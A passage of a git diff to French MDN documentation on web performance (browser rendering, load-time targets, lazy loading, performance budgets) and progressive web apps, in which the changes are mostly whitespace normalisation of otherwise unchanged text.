`.mpd` avec `mimetype="application/dash+xml"`. ## Utiliser DASH, côté client diff --git a/files/fr/web/performance/how_browsers_work/index.md b/files/fr/web/performance/how_browsers_work/index.md index e8e78939fc..db2ab9f11c 100644 --- a/files/fr/web/performance/how_browsers_work/index.md +++ b/files/fr/web/performance/how_browsers_work/index.md @@ -16,7 +16,7 @@ Pour comprendre comment améliorer les performances et les performances perçues Les sites rapides offrent une meilleure expérience utilisateur. Les utilisateurs veulent et s'attendent à des expériences Web avec un contenu rapide à charger et à interagir avec fluidité. -La compréhension des problèmes liés 1) à la latence et 2) les problèmes liés au fait que, dans la plupart des cas, les navigateurs fonctionné à un seul thread. Cela sont deux problèmes majeurs dans les performances Web. +La compréhension des problèmes liés 1) à la latence et 2) les problèmes liés au fait que, dans la plupart des cas, les navigateurs fonctionné à un seul thread. Cela sont deux problèmes majeurs dans les performances Web. La latence est notre principale menace à surmonter pour assurer une charge rapide. Pour être rapides à charger, les objectifs des développeurs incluent l’envoi des informations demandées aussi rapidement que possible, ou du moins, cela semble super rapide. La latence du réseau est le temps nécessaire pour transmettre des octets par liaison radio aux ordinateurs. La performance Web est ce que nous devons faire pour que le chargement de la page se fasse le plus rapidement possible. @@ -114,7 +114,7 @@ Même si le code HTML de la page de demande est plus volumineux que le paquet in Nous décrivons cinq étapes dans le chemin de rendu critique, ou "[critical rendering path](/fr/docs/Web/Performance/Critical_rendering_path)". -La première étape consiste à traiter le balisage HTML et à créer l'arborescence DOM. L'analyse HTML implique la création de jetons, [tokenization,](/fr/docs/Web/API/DOMTokenList) et la construction du DOM tree. Les jetons HTML incluent les balises de début et de fin, ainsi que les noms et les valeurs des attributs. Si le document est bien formé, son analyse est simple et rapide. L'analyseur analyse les entrées sous forme de jetons dans le document, créant ainsi le document tree. +La première étape consiste à traiter le balisage HTML et à créer l'arborescence DOM. L'analyse HTML implique la création de jetons, [tokenization,](/fr/docs/Web/API/DOMTokenList) et la construction du DOM tree. Les jetons HTML incluent les balises de début et de fin, ainsi que les noms et les valeurs des attributs. Si le document est bien formé, son analyse est simple et rapide. L'analyseur analyse les entrées sous forme de jetons dans le document, créant ainsi le document tree. Le DOM tree décrit le contenu du document. L'élément [`<html>`](/fr/docs/Web/HTML/Element/html) est la première balise et le premier nœud racine de du document tree. L'arbre reflète les relations et les hiérarchies entre différentes balises. Les balises imbriquées dans d'autres balises sont des nœuds enfants. Plus le nombre de nœuds DOM est élevé, le plus de temps ca prends pour construire le DOM tree. diff --git a/files/fr/web/performance/how_long_is_too_long/index.md b/files/fr/web/performance/how_long_is_too_long/index.md index 3011ce92e6..9ce23d8285 100644 --- a/files/fr/web/performance/how_long_is_too_long/index.md +++ b/files/fr/web/performance/how_long_is_too_long/index.md @@ -3,26 +3,26 @@ title: "Temps de chargement\_: à partir de quel moment un site est-il «\_lent\ slug: Web/Performance/How_long_is_too_long translation_of: Web/Performance/How_long_is_too_long --- -Il n'y a pas de règle stricte définissant ce qui constitue un site trop long à charger, mais il y a des bonnes pratiques spécifiques pour définir un bon temps de chargement du contenu (1 seconde), de fonctionnement au ralenti (50 millisecondes), d'animation (16,7 secondes) ou encore de réponse à la saisie d'un visiteur (50 à 200 millisecondes). +Il n'y a pas de règle stricte définissant ce qui constitue un site trop long à charger, mais il y a des bonnes pratiques spécifiques pour définir un bon temps de chargement du contenu (1 seconde), de fonctionnement au ralenti (50 millisecondes), d'animation (16,7 secondes) ou encore de réponse à la saisie d'un visiteur (50 à 200 millisecondes). ## Objectifs de chargement -La durée optimale de temps de chargement est souvent définie comme étant « inférieure à une seconde », mais qu'est-ce que cela signifie ? Ce temps d'une seconde devrait être considéré comme le temps maximal pour indiquer à une personne visitant le site que la demande à été traitée et que le nouveau contenu a été chargé, ce qui signifie par exemple que le navigateur affiche le titre de la page et sa couleur de fond. +La durée optimale de temps de chargement est souvent définie comme étant « inférieure à une seconde », mais qu'est-ce que cela signifie ? Ce temps d'une seconde devrait être considéré comme le temps maximal pour indiquer à une personne visitant le site que la demande à été traitée et que le nouveau contenu a été chargé, ce qui signifie par exemple que le navigateur affiche le titre de la page et sa couleur de fond. La première ressource récupérée après une demande est généralement un document HTML, qui appelle lui-même par la suite des ressources additionnelles. Comme noté dans la description du [chemin critique de rendu (en anglais <i lang="en">critical rendering path</i>)](/fr/docs/Web/Performance/Critical_rendering_path), lorsque la ressource est reçue alors les navigateurs commencent à traiter le HTML et affichent son rendu au fur et à mesure qu'il est reçu plutôt que d'attendre le chargement des ressources additionnelles. -Oui, un temps de chargement d'une seconde est un bon objectif, mais c'est un objectif qui ne sera rempli que par quelques sites seulement. Les attentes diffèrent en réalité en fonction du contexte. L'affichage du texte « Bonjour tout le monde » devrait pouvoir s'afficher en quelques millisecondes sur un réseau d'entreprise, mais le téléchargement de la vidéo d'un chat rigolo sur un appareil de plus de 5 ans avec un réseau <i lang="en">Edge</i> dans le Nord de la Sibérie pourrait prendre plus de 20 secondes sans choquer personne. D'une manière plus générale, si vous attendez trois ou quatre secondes avant de fournir le moindre contenu à la personne visitant votre site, vous perdrez des visiteurs potentiels qui ne reviendront peut-être jamais consulter votre site. +Oui, un temps de chargement d'une seconde est un bon objectif, mais c'est un objectif qui ne sera rempli que par quelques sites seulement. Les attentes diffèrent en réalité en fonction du contexte. L'affichage du texte « Bonjour tout le monde » devrait pouvoir s'afficher en quelques millisecondes sur un réseau d'entreprise, mais le téléchargement de la vidéo d'un chat rigolo sur un appareil de plus de 5 ans avec un réseau <i lang="en">Edge</i> dans le Nord de la Sibérie pourrait prendre plus de 20 secondes sans choquer personne. D'une manière plus générale, si vous attendez trois ou quatre secondes avant de fournir le moindre contenu à la personne visitant votre site, vous perdrez des visiteurs potentiels qui ne reviendront peut-être jamais consulter votre site. En optimisant les performances de votre site, visez un temps de premier chargement du contenu ambitieux, comme 5 secondes sur un réseau mobile 3G, et 1,5 seconde sur un réseau Wifi, avec peut-être des objectifs de chargement de page encore plus ambitieux pour les chargements de page ultérieurs, en tirant parti des <i lang="en">service workers</i> et de la mise en cache. Il y a plusieurs étapes où vous devrez travailler, suivant qu'il s'agisse d'initialiser le chargement de la page, du chargement des ressources additionnelles, de la réponse à l'interaction de l'utilisateur ou de l'utilisatrice ou encore pour proposer des animations fluides. C'est ce que nous détaillerons dans les sections suivantes. ### Objectifs concernant les étapes de chargement de la page (en anglais <i lang="en">idling</i>) -Les navigateurs s'occupent des tâches les unes après les autres (même si des tâches de fond peuvent être prises en charge par les <i lang="en">web workers</i>). Cela signifie que l'interaction avec le visiteur, la peinture de la page et l'exécution des scripts ont lieu lors d'un processus unique. Si le processus est occupé à exécuter du code JavaScript complexe, le processus principal ne sera pas disponible pour réagir à la saisie du visiteur (par exemple le fait d'appuyer sur un bouton). Pour cette raison, le périmètre de l'exécution des scripts devrait être limité et divisé en plusieurs bouts de code pouvant chacun être exécuté en 50 millisecondes ou moins. Cela rend le processus disponible pour l'interaction avec la personne visitant le site. +Les navigateurs s'occupent des tâches les unes après les autres (même si des tâches de fond peuvent être prises en charge par les <i lang="en">web workers</i>). Cela signifie que l'interaction avec le visiteur, la peinture de la page et l'exécution des scripts ont lieu lors d'un processus unique. Si le processus est occupé à exécuter du code JavaScript complexe, le processus principal ne sera pas disponible pour réagir à la saisie du visiteur (par exemple le fait d'appuyer sur un bouton). Pour cette raison, le périmètre de l'exécution des scripts devrait être limité et divisé en plusieurs bouts de code pouvant chacun être exécuté en 50 millisecondes ou moins. Cela rend le processus disponible pour l'interaction avec la personne visitant le site. ### Objectifs concernant les animations -Pour les animations de défilement et autres animations qui doivent être fluides et réactives, le contenu est repeint à 60 images par seconde (60 fps), ce qui fait une fois toutes les 16,7 millisecondes. Ces 16.7 millisecondes incluent la gestion des scripts, le <i lang="en">reflow</i> et le <i lang="en">repaint</i>. Un document met environ 6 millisecondes pour rendre une image, ce qui laisse environ 10 millisecondes au reste. Tout ce qui prend moins de 60 images par secondes risque d'apparaître cassé, surtout s'il s'agit de changements d'images. +Pour les animations de défilement et autres animations qui doivent être fluides et réactives, le contenu est repeint à 60 images par seconde (60 fps), ce qui fait une fois toutes les 16,7 millisecondes. Ces 16.7 millisecondes incluent la gestion des scripts, le <i lang="en">reflow</i> et le <i lang="en">repaint</i>. Un document met environ 6 millisecondes pour rendre une image, ce qui laisse environ 10 millisecondes au reste. Tout ce qui prend moins de 60 images par secondes risque d'apparaître cassé, surtout s'il s'agit de changements d'images. ### Objectifs concernant la réactivité -Lorsque la personne visitant le site interagit avec le contenu, il est important de fournir une réponse et de faire connaître cette réponse au visiteur sous 100 millisecondes au maximum, et de préférence en moins de 50 millisecondes. Une réponse de 50 millisecondes sera ressentie comme étant immédiate. La mise à disposition de l'interaction devrait le plus souvent possible être ressentie comme étant immédiate, par exemple lorsqu'il s'agit du survol ou de l'appui sur un bouton, mais cela ne veut pas dire que la réponse complète devrait être instantanée. Si une réponse plus lente que 100 millisecondes peut créer une déconnexion entre l'action du visiteur et la réponse, une transition de 100 ou 200 millisecondes peut aider le visiteur à remarquer la réponse à l'interaction initiée, telle que l'ouverture d'un menu. Si une réponse prend plus de 100 millisecondes à être terminée, il est important de fournir une forme de retour utilisateur pour informer que l'interaction a bien eu lieu. +Lorsque la personne visitant le site interagit avec le contenu, il est important de fournir une réponse et de faire connaître cette réponse au visiteur sous 100 millisecondes au maximum, et de préférence en moins de 50 millisecondes. Une réponse de 50 millisecondes sera ressentie comme étant immédiate. La mise à disposition de l'interaction devrait le plus souvent possible être ressentie comme étant immédiate, par exemple lorsqu'il s'agit du survol ou de l'appui sur un bouton, mais cela ne veut pas dire que la réponse complète devrait être instantanée. Si une réponse plus lente que 100 millisecondes peut créer une déconnexion entre l'action du visiteur et la réponse, une transition de 100 ou 200 millisecondes peut aider le visiteur à remarquer la réponse à l'interaction initiée, telle que l'ouverture d'un menu. Si une réponse prend plus de 100 millisecondes à être terminée, il est important de fournir une forme de retour utilisateur pour informer que l'interaction a bien eu lieu. diff --git a/files/fr/web/performance/index.md b/files/fr/web/performance/index.md index 78fa39206d..1a4021e71f 100644 --- a/files/fr/web/performance/index.md +++ b/files/fr/web/performance/index.md @@ -22,7 +22,7 @@ The MDN [Web Performance Learning Area](/fr/docs/Learn/Performance) contains mod - [What is web performance](/fr/docs/Learn/Performance/What_is_web_performance) - : This article starts the module off with a good look at what Performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make Performance part of our web development workflow. - [Web Performance Basics](/fr/docs/Learn/Performance/web_performance_basics) - - : In addition to the front-end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, Developer Tools, best practices and bad practices relating to web performance. Here we'll introduce many of these features at the basic level and provide links to deeper dives to improve performance for each topic. + - : In addition to the front-end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, Developer Tools, best practices and bad practices relating to web performance. Here we'll introduce many of these features at the basic level and provide links to deeper dives to improve performance for each topic. - [How do users perceive performance?](/fr/docs/Learn/Performance/perceived_performance) - : More important than how fast your website is in milliseconds, is how fast do your users perceive your site to be. Page load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations impact these perceptions. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings themselves. - [Multimedia: Images and Video](/fr/docs/Learn/Performance/Multimedia) @@ -49,8 +49,8 @@ The MDN [Web Performance Learning Area](/fr/docs/Learn/Performance) contains mod ## Other documentation -- [Developer Tools Performance Features](/fr/docs/Tools/Performance) - - : This section provides information on how to use and understand the performance features in your developer tools, including [Waterfall](/fr/docs/Tools/Performance/Waterfall), [Call Tree](/fr/docs/Tools/Performance/Call_Tree), and [Flame Charts](/fr/docs/Tools/Performance/Flame_Chart). +- [Developer Tools Performance Features](/fr/docs/Tools/Performance) + - : This section provides information on how to use and understand the performance features in your developer tools, including [Waterfall](/fr/docs/Tools/Performance/Waterfall), [Call Tree](/fr/docs/Tools/Performance/Call_Tree), and [Flame Charts](/fr/docs/Tools/Performance/Flame_Chart). - [Understanding Latency](/fr/docs/Learn/Performance/Understanding_latency) - : Latency is the amount of time it takes between the browser making a request for a resource, and the browser receiving back the first byte of the resource requested. This article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it. @@ -113,7 +113,7 @@ The MDN [Web Performance Learning Area](/fr/docs/Learn/Performance) contains mod - [Mobile performance](/fr/docs/Learn/Performance/Mobile) - : With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU, and battery life, it is important to consider the performance of your web content on these platforms. This article also looks at mobile-specific performance considerations. - Web font performance - - : An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience. + - : An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience. - Performance bottlenecks Understanding bandwidth @@ -123,22 +123,22 @@ The MDN [Web Performance Learning Area](/fr/docs/Learn/Performance) contains mod - The role of TLS in performance - : TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties. - Reading performance charts - - : Developer tools provide information on performance, memory, and network requests. Knowing how to read [waterfall](/fr/docs/Tools/Performance/Waterfall) charts, [call trees](/fr/docs/Tools/Performance/Call_Tree), traces, [flame charts](/fr/docs/Tools/Performance/Flame_Chart) , and [allocations](/fr/docs/Tools/Performance/Allocations) in your browser developer tools will help you understand waterfall and flame charts in other performance tools. + - : Developer tools provide information on performance, memory, and network requests. Knowing how to read [waterfall](/fr/docs/Tools/Performance/Waterfall) charts, [call trees](/fr/docs/Tools/Performance/Call_Tree), traces, [flame charts](/fr/docs/Tools/Performance/Flame_Chart) , and [allocations](/fr/docs/Tools/Performance/Allocations) in your browser developer tools will help you understand waterfall and flame charts in other performance tools. - Alternative media formats - - : When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them. + - : When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them. - Analyzing JavaScript bundles - : No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. In this guide, we'll show you how to analyze your application's script bundles, so you know _what_ you're using, as well how to detect if your app contains duplicated scripts between bundles. - [Lazy loading](/fr/docs/Web/Performance/Lazy_loading) - - : It isn't always necessary to load all of a web applications assets on initial page load. Lazy Loading is deferring the loading of assets on a page, such as scripts, images, etc., on a page to a later point in time i.e when those assets are actually needed. + - : It isn't always necessary to load all of a web applications assets on initial page load. Lazy Loading is deferring the loading of assets on a page, such as scripts, images, etc., on a page to a later point in time i.e when those assets are actually needed. - Lazy-loading JavaScript with dynamic imports - : When developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport. But did you know you can lazy load JavaScript as well? In this guide we'll talk about the dynamic import() statement, which is a feature in modern browsers that loads a JavaScript module on demand. Of course, since this feature isn't available everywhere, we'll also show you how you can configure your tooling to use this feature in a widely compatible fashion. - [Controlling resource delivery with resource hints](/fr/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints) - - : Browsers often know better than we do when it comes to resource prioritization and delivery however they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage. + - : Browsers often know better than we do when it comes to resource prioritization and delivery however they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage. - [Performance Budgets](/fr/docs/Web/Performance/Performance_budgets) - : Marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. To help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. In this article, we'll discuss creating and sticking to a performance budget. - [Web performance checklist](/fr/docs/Web/Performance/Checklist) - : A performance checklist of features to consider when developing applications with links to tutorials on how to implement each feature, include service workers, diagnosing performance problems, font loading best practices, client hints, creating performant animations, etc. -- [Mobile performance checklist](/fr/docs/Web/Performance/Mobile_performance_checklist) +- [Mobile performance checklist](/fr/docs/Web/Performance/Mobile_performance_checklist) - : A concise checklist of performance considerations impacting mobile network users on hand-held, battery operated devices. ### App Performance diff --git a/files/fr/web/performance/lazy_loading/index.md b/files/fr/web/performance/lazy_loading/index.md index 4e659bda89..5a70ef59cf 100644 --- a/files/fr/web/performance/lazy_loading/index.md +++ b/files/fr/web/performance/lazy_loading/index.md @@ -21,10 +21,10 @@ Le chargement différé peut être appliqué sur de multiples ressources et avec #### Division du code -Le code JavaScript, CSS et HTML peuvent être divisés en petits morceaux. Cela permet de n'envoyer que la portion de code nécessaire à l'affichage sur l'écran de l'internaute, et donc d'améliorer les temps de chargement. Le reste sera chargé sur demande. Deux systèmes sont possibles : +Le code JavaScript, CSS et HTML peuvent être divisés en petits morceaux. Cela permet de n'envoyer que la portion de code nécessaire à l'affichage sur l'écran de l'internaute, et donc d'améliorer les temps de chargement. Le reste sera chargé sur demande. Deux systèmes sont possibles : -- division par points d'entrée : séparation du code en différents points d'entrée au sein de l'application ; -- division dynamique : séparation du code où des déclarations [`import()`](/fr/docs/Web/JavaScript/Reference/Statements/import) dynamiques sont utilisées. +- division par points d'entrée : séparation du code en différents points d'entrée au sein de l'application ; +- division dynamique : séparation du code où des déclarations [`import()`](/fr/docs/Web/JavaScript/Reference/Statements/import) dynamiques sont utilisées. ### JavaScript @@ -34,7 +34,7 @@ Toute balise `<script>` utilisant `type="module"` sera traitée comme un [module ### CSS -Par défaut, les fichiers CSS sont traités comme des ressources [bloquant le rendu](/fr/docs/Web/Performance/Critical_rendering_path), donc le navigateur n'affichera aucun contenu traité tant que le [CSSOM (pour <i lang="en">CSS Object Model</i>)](/fr/docs/Web/API/CSS_Object_Model) est construit. Les fichiers CSS doivent être légers, délivrés aussi rapidement que possible, et l'utilisation des types de médias et des requêtes média est conseillé pour ne pas bloquer le rendu : +Par défaut, les fichiers CSS sont traités comme des ressources [bloquant le rendu](/fr/docs/Web/Performance/Critical_rendering_path), donc le navigateur n'affichera aucun contenu traité tant que le [CSSOM (pour <i lang="en">CSS Object Model</i>)](/fr/docs/Web/API/CSS_Object_Model) est construit. Les fichiers CSS doivent être légers, délivrés aussi rapidement que possible, et l'utilisation des types de médias et des requêtes média est conseillé pour ne pas bloquer le rendu : ```html <link href="style.css" rel="stylesheet" media="all"> @@ -71,7 +71,7 @@ Vous pouvez déterminer si une image donnée a terminé son chargement en examin #### Polyfill -Pour ajouter la prise en charge de l'attribut `loading` sur les vieux navigateurs qui ne sont pas compatibles, vous pouvez utiliser le polyfill suivant : [loading-attribute-polyfill](https://github.com/mfranzke/loading-attribute-polyfill) +Pour ajouter la prise en charge de l'attribut `loading` sur les vieux navigateurs qui ne sont pas compatibles, vous pouvez utiliser le polyfill suivant : [loading-attribute-polyfill](https://github.com/mfranzke/loading-attribute-polyfill) #### API Intersection Observer @@ -79,7 +79,7 @@ Pour ajouter la prise en charge de l'attribut `loading` sur les vieux navigateur #### Gestionnaires d'évènements -Lorsque la compatibilité navigateur est cruciale, vous pouvez utiliser ces quelques options : +Lorsque la compatibilité navigateur est cruciale, vous pouvez utiliser ces quelques options : - [polyfill pour l'API <i lang="en">Intersection observer</i>](https://github.com/w3c/IntersectionObserver) diff --git a/files/fr/web/performance/performance_budgets/index.md b/files/fr/web/performance/performance_budgets/index.md index 4626639e8c..7c5b83f4ea 100644 --- a/files/fr/web/performance/performance_budgets/index.md +++ b/files/fr/web/performance/performance_budgets/index.md @@ -46,7 +46,7 @@ Pour un site contenant beaucoup de texte, tel qu'un blog ou un site d'actualité La valeur ultime d'un budget de performance est de corréler l'impact de la performance sur les objectifs commerciaux ou produits. Lors de la définition des mesures, vous devez vous concentrer sur l'[expérience utilisateur](https://extensionworkshop.com/documentation/develop/user-experience-best-practices/), qui dictera non seulement le taux de rebond ou de conversion, mais aussi la probabilité de retour de l'utilisateur. -## Comment mettre en œuvre un budget de performance? +## Comment mettre en œuvre un budget de performance? Pendant le développement, il existe quelques outils pour effectuer des vérifications sur les actifs nouveaux ou modifiés: diff --git a/files/fr/web/progressive_web_apps/add_to_home_screen/index.md b/files/fr/web/progressive_web_apps/add_to_home_screen/index.md index 59875ebc2c..35c6b10a88 100644 --- a/files/fr/web/progressive_web_apps/add_to_home_screen/index.md +++ b/files/fr/web/progressive_web_apps/add_to_home_screen/index.md @@ -191,7 +191,7 @@ Ici il faut: - Appeler `Event.preventDefault()` pour empêcher Chrome 67 et les versions antérieures d'appeler automatiquement l'invite d'installation (ce comportement a été modifié dans Chrome 68). - Stocker l'objet événement dans la variable `deferredPrompt` afin qu'il puisse être utilisé ultérieurement pour effectuer l'installation réelle. -- Configurer le bouton `display: block` afin qu'il apparaisse dans l'interface utilisateur sur laquelle l'utilisateur peut cliquer. +- Configurer le bouton `display: block` afin qu'il apparaisse dans l'interface utilisateur sur laquelle l'utilisateur peut cliquer. - Définir un gestionnaire de `click` pour le bouton. Le gestionnaire de clics contient les étapes suivantes: diff --git a/files/fr/web/progressive_web_apps/app_structure/index.md b/files/fr/web/progressive_web_apps/app_structure/index.md index 6b3841be1a..56fb12cba4 100644 --- a/files/fr/web/progressive_web_apps/app_structure/index.md +++ b/files/fr/web/progressive_web_apps/app_structure/index.md @@ -28,7 +28,7 @@ Nous pouvons contrôler ce qui est demandé au serveur et ce qui est récupéré ### Pourquoi dois-je l'utiliser ? -Cette architecture permet à un site web de bénéficier de la plupart des fonctionnalités PWA - elle met en cache l'app shell et gère le contenu dynamique d'une manière qui améliore grandement les performances. En plus de la structure de base, vous pouvez ajouter d'autres fonctionnalités telles que [l'ajouter à l'écran d'accueil](/fr/docs/Web/Apps/Progressive/Add_to_home_screen) ou [l'envoi de notifications](/fr/docs/Web/API/Push_API), sachant que l'application fonctionnera toujours correctement si elles ne sont pas prises en charge par le navigateur de l'utilisateur - c'est la beauté de l'amélioration continue. +Cette architecture permet à un site web de bénéficier de la plupart des fonctionnalités PWA - elle met en cache l'app shell et gère le contenu dynamique d'une manière qui améliore grandement les performances. En plus de la structure de base, vous pouvez ajouter d'autres fonctionnalités telles que [l'ajouter à l'écran d'accueil](/fr/docs/Web/Apps/Progressive/Add_to_home_screen) ou [l'envoi de notifications](/fr/docs/Web/API/Push_API), sachant que l'application fonctionnera toujours correctement si elles ne sont pas prises en charge par le navigateur de l'utilisateur - c'est la beauté de l'amélioration continue. Le site web se comporte comme une application native, offrant une interaction instantannée et de solides performances tout en conservant les avantages du web. @@ -38,7 +38,7 @@ Il est important de se rappeler les avantages des PWA et de les garder à l'espr - Accessible par un lien: Même s'il se comporte comme une application native, il reste un site web - vous pouvez cliquer sur les liens d'une page et envoyer une URL à quelqu'un si vous voulez le partager. - Progressive: Commencer avec un "bon vieux site web basic” et ajouter progressivement de nouvelles fonctionnalités tout en se rappelant de détecter si elles sont disponibles dans le navigateur et de gérer proprement toute erreur qui pourrait survenir si la prise en charge n'est pas disponible. Par exemple, un mode déconnecté possible grâce aux service workers n'est qu'une caractéristique bonus qui améliore l'expérience sur le site web, mais ce dernier reste totalement fonctionnel sans elle. -- Adaptatif: La conception web adaptative s'applique également aux applications web progressives, attendu que les deux sont principalement destinés aux appareils mobiles. Il y a tellements d'appareils différents en plus des navigateurs - il est important de préparer votre site web à fonctionner sur différentes tailles d'écran, supports d'affichage ou densité de pixels, en utilisant des technologies telles que [les tags meta viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), [les reqêtes media CSS](/fr/docs/Web/CSS/Media_Queries/Using_media_queries), [les Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) et les [Grid CSS](/fr/docs/Web/CSS/CSS_Grid_Layout). +- Adaptatif: La conception web adaptative s'applique également aux applications web progressives, attendu que les deux sont principalement destinés aux appareils mobiles. Il y a tellements d'appareils différents en plus des navigateurs - il est important de préparer votre site web à fonctionner sur différentes tailles d'écran, supports d'affichage ou densité de pixels, en utilisant des technologies telles que [les tags meta viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), [les reqêtes media CSS](/fr/docs/Web/CSS/Media_Queries/Using_media_queries), [les Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) et les [Grid CSS](/fr/docs/Web/CSS/CSS_Grid_Layout). ## Approche différente : les streams @@ -98,7 +98,7 @@ Du point de vue HTML, l'app shell est tout ce qui est à l'extérieur de la sect </html> ``` -La section {{htmlelement("head")}} contient certaines informations de base telles que le titre, la description et des liens vers les CSS, le manifeste web, le fichier JS contenant les jeux et app.js — c'est là où notre application JavaScript est initialisée. Le {{htmlelement("body")}} est divisé en {{htmlelement("header")}} (contenant les images liées), {{htmlelement("main")}} la page (avec le titre, la description et un emplacement pour le contenu) et {{htmlelement("footer")}} (le copyright et les liens). +La section {{htmlelement("head")}} contient certaines informations de base telles que le titre, la description et des liens vers les CSS, le manifeste web, le fichier JS contenant les jeux et app.js — c'est là où notre application JavaScript est initialisée. Le {{htmlelement("body")}} est divisé en {{htmlelement("header")}} (contenant les images liées), {{htmlelement("main")}} la page (avec le titre, la description et un emplacement pour le contenu) et {{htmlelement("footer")}} (le copyright et les liens). Le seul travail de l'application est de lister toutes les entrées A-Frame de la compétition js13kGames 2017. Comme vous pouvez le voir, c'est un site web en une page tout ce qu'il y a de plus ordinaire - le but est d'avoir quelque chose de simple afin que nous puissions nous concentrer sur l'implémentation des réelles fonctionnalités PWA. @@ -158,7 +158,7 @@ button.addEventListener('click', function(e) { }); ``` -Le dernier bloc crée des notifications qui affichent un élément choisi au hasard dans la liste des jeux: +Le dernier bloc crée des notifications qui affichent un élément choisi au hasard dans la liste des jeux: ```js function randomNotification() { diff --git a/files/fr/web/progressive_web_apps/introduction/index.md b/files/fr/web/progressive_web_apps/introduction/index.md index 14d5beeaf6..156468624e 100644 --- a/files/fr/web/progressive_web_apps/introduction/index.md +++ b/files/fr/web/progressive_web_apps/introduction/index.md @@ -37,7 +37,7 @@ Il y a des principes clés qu'une application web devrait suivre afin d'être id - [Discoverable](/fr/docs/Web/Progressive_web_apps/Advantages#Discoverable), afin que le contenu soit trouvé à l'aide de moteurs de recherche. - [Installable](/fr/docs/Web/Progressive_web_apps/Advantages#Installable), afin d'être disponible sur l'écran d'accueil de l'appareil. -- [Linkable](/fr/docs/Web/Progressive_web_apps/Advantages#Linkable), afin que vous puissiez la partager simplement en envoyant un lien. +- [Linkable](/fr/docs/Web/Progressive_web_apps/Advantages#Linkable), afin que vous puissiez la partager simplement en envoyant un lien. - [Network independent](/fr/docs/Web/Progressive_web_apps/Advantages#Network_independent), afin qu'elle fonctionne hors-ligne ou avec une mauvaise connexion internet. - [Progressive](/fr/docs/Web/Progressive_web_apps/Advantages#Progressive), afin qu'elle soit utilisable sur les plus vieux navigateurs, mais complétement fonctionnelle sur les derniers. - [Re-engageable](/fr/docs/Web/Progressive_web_apps/Advantages#Re-engageable), afin qu'elle soit capable d'envoyer des notifications lorsque du nouveau contenu est disponible. @@ -49,7 +49,7 @@ Il y a des principes clés qu'une application web devrait suivre afin d'être id Absolument! Avec relativement peu d'effort pour implémenter l'essentiel des fonctionnalités requises par une PWA, les bénéfices sont énormes. Par exemple: - Une diminution du temps de chargement après avoir installé l'application, et ceci grâce au système de cache des [Service Workers](/fr/docs/Web/API/Service_Worker_API), s'accompagnant aussi par une économie précieuse de bande passante et de temps. -- La possibilité de seulement mettre à jour le contenu qui a changé lorsque qu'une mise à jour d'application est disponible. A contrario, avec une application native, même la plus petite modification peut obliger l'utilisateur à télécharger entièrement l'application à nouveau. +- La possibilité de seulement mettre à jour le contenu qui a changé lorsque qu'une mise à jour d'application est disponible. A contrario, avec une application native, même la plus petite modification peut obliger l'utilisateur à télécharger entièrement l'application à nouveau. - Une sensation d'utilisation et une apparence plus proche d'une application native— icônes d'applications sur l'écran d'accueil, des applications qui s'ouvrent en plein écran, etc. - Les utilisateurs sont plus engagés grâce à un système de notifications et de messages _push_, créant des utlisateurs plus impliqués apportant des taux de conversion plus élevés. @@ -63,7 +63,7 @@ Vous pouvez consulter la liste sur [pwa.rocks](https://pwa.rocks/) pour plus d'e Vous pouvez même générer des PWA en ligne à l'aide du site web [PWABuilder](https://www.pwabuilder.com/). -Pour les informations spécifiques aux _service workers_ et aux notifications _push_, consultez le [Service Worker Cookbook](https://serviceworke.rs/), une collection d'exemples utilisant des _service workers_. +Pour les informations spécifiques aux _service workers_ et aux notifications _push_, consultez le [Service Worker Cookbook](https://serviceworke.rs/), une collection 